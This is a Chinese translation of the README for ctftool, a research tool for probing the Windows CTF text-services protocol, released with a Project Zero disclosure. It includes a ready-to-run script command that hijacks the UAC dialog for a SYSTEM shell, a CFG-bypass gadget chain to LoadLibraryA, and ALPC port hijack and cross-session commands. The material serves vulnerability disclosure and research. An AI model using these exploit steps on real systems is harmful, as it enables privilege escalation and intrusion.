只想测试 SYSTEM 漏洞?点击这里。
这是 ctftool,一个用于试验 CTF(一种在 Windows 上实现文本服务的小众协议)的交互式命令行工具。它可能对研究 Windows 内部机制、调试文本输入处理器的复杂问题以及分析 Windows 安全性有所帮助。
可以使用 ctftool 编写简单脚本,以自动化与 CTF 客户端或服务器的交互,或执行简单的模糊测试。
随此工具发布附带一篇博客文章,可在此处获取。
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool 已在 Windows 7、Windows 8 和 Windows 10 上测试。支持 32 位和 x64 版本,但 x64 的测试更为广泛。
大多数命令都有在线帮助,只需输入 help 即可查看命令列表,输入 help <command> 可查看特定命令的详细帮助。
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
首先你需要连接到一个会话,查看哪些客户端已连接。
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
然后你可以通过向服务器或任何已连接的客户端发送和接收命令来进行实验。
如果你不想自己构建,请查看 releases 标签页
我使用 GNU make 和 Visual Studio 2019 开发了 ctftool。仅支持 32 位构建,因为这样工具可以在 x86 和 x64 Windows 上运行。
如果所有依赖都已安装,只需在开发者命令提示符下输入 make 即可。
我使用 Visual Studio 的"构建工具"版本,仅选择了 MSVC、MSBuild、CMake 和 SDK 组件。
该项目对部分依赖使用了子模块,请确保使用类似如下命令获取所有必要代码。
git submodule update --init --recursive
示例仅适用于 Windows 10 x64。自 Windows XP 以来的所有平台和版本都受影响,但目前尚未实现 PoC。
该工具用于发现 CTF 协议中已存在数十年的许多严重安全问题。
如果你只想在 Windows 10 x64 1903 上测试漏洞利用,请运行或双击 ctftool.exe 并输入以下命令:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf
此操作将等待 UAC 对话框出现,对其进行入侵并启动一个 shell。
实际上,漏洞利用代码分为两个阶段,你可以独立使用。例如,你可能想使用 connect 的可选参数入侵属于另一个会话用户的进程。
大多数 CTF 客户端都可以被入侵,因为内核强制绘制窗口的应用程序加载易受攻击的库。
只需连接到一个会话,选择一个要入侵的客户端(使用 scan 和 thread 命令,或直接使用 wait),然后:
ctf> script .\scripts\ctf-exploit-common-win10.ctf
构建一个能在大多数 CTF 客户端上起作用的 CFG 跳转链相当具有挑战性。最终漏洞利用包含两个主要组成部分:一个任意写入原语,然后设置寄存器以调用 LoadLibrary()。
你可以使用
dumpbin /headers /loadconfig来转储列入白名单的分支目标。
我需要一个任意写入小工具来在可预测位置创建对象。我能找到的最佳可用小工具是 msvcrt!_init_time 中的任意双字递减。
这意味着我们无法直接设置我们想要的值,而必须不断递减,直到最低有效位达到我们想要的值。这需要大量工作,但我们最多只需进行 (2^8 - 1) * len 次递减。

利用这个原语,我在 kernel32 .data 节的一些未使用空闲空间中构建了这样一个对象。它必须是镜像的一部分,这样我才能预测它将被映射到的位置,因为在 Windows 上镜像随机化是按启动进行的。

(当然)有很多任意写入小工具,问题在于在写入之后重新获得执行控制。这证明极具挑战性,这也是我被迫使用双字递减而非更简单方法的原因。
MSCTF 捕获所有异常,因此挑战在于找到一个不会破坏堆栈以保证 SEH 存活,或者在不造成任何损害的情况下快速崩溃的任意写入。
msvcrt!_init_time 小工具是我能找到的最佳选择,它在几条指令内解引用 NULL 而不破坏更多内存。这意味着我们可以无限重复它。
我找到了两个用于调整寄存器的有用小工具,第一个是:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
第二个是:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
通过将这两个小工具与通过写入小工具构建的对象结合,我们可以在它们之间弹跳,将执行重定向到 kernel32!LoadLibraryA。
这很复杂,但跳转序列如下所示:

如果你感兴趣,我建议在调试器中观察。注意你需要使用命令 sxd av 和 sxd bpe,否则调试器会在每次写入时停止!
除了内存损坏,CTF 暴露的另一主要漏洞类别是编辑会话攻击。通常,非特权进程(例如低完整性)不允许向高特权进程发送输入或读取数据。此安全边界称为 UIPI(用户界面特权隔离)。
CTF 打破了这些假设,允许非特权进程向特权进程发送输入。
此攻击发挥作用有一些要求,据我所知,仅当安装的显示语言使用 OoP TIP(进程外文本输入处理器)时才有效。使用 IME(中文、日文、韩文等)输入语言的用户以及使用辅助功能工具的用户属于此类。
示例攻击包括...
脚本目录中有一个示例脚本,它会向记事本窗口发送输入,以演示编辑会话的工作原理。
由于 CTF 协议中客户端与服务器之间无身份验证,拥有写入 \BaseNamedObjects 必要权限的攻击者可以创建 CTF ALPC 端口并冒充监控器。
这使得监控器强制执行的所有限制都可以被绕过。
如果你想试验此攻击,请在 ctftool 中尝试 hijack 命令。
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ............
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ............
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
CTF 协议中没有会话隔离,任何进程都可以连接到任何 CTF 服务器。例如,终端服务用户可以与其他任何用户(甚至管理员)的进程交互。
如果你想试验此攻击,ctftool 中的 connect 命令支持连接到非默认会话。
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
在撰写本文时,尚不清楚微软将如何更改 CTF 协议以应对该工具帮助暴露的众多设计缺陷。
因此,请将此工具视为概念验证状态。
自 Windows XP 以来所有版本的 Windows 在所有支持的平台上都使用 CTF。
虽然直到 XP 才成为基础系统的一部分,但早在 Windows 98 和 NT4 的版本中,如果安装了 Microsoft Office,也会使用 CTF。
ctftool 支持 Windows 7 及更高版本的 x86 和 x64 平台,但较早版本和其他平台可能得到支持,欢迎贡献。
微软没有记录 CTF 代表什么,在文本服务文档、SDK 示例、符号名称、头文件或其他任何地方都没有解释。我的猜测是它来自 CTextFramework,即你在匈牙利命名法中可能命名的类名。
有些网站声称
ctfmon与 Clear Type Fonts 或 Azure 协作翻译框架有关。他们搞错了。
更新:Jake Nelson 发现了"通用文本框架"的证据。
Tavis Ormandy [email protected]
所有原始代码均采用 Apache 2.0 许可证,详情请参阅 LICENSE 文件。
以下组件是导入的第三方项目。
GetProcAddress()。这用于 symbol 命令,并允许同一二进制文件在 x64 和 x86 上工作。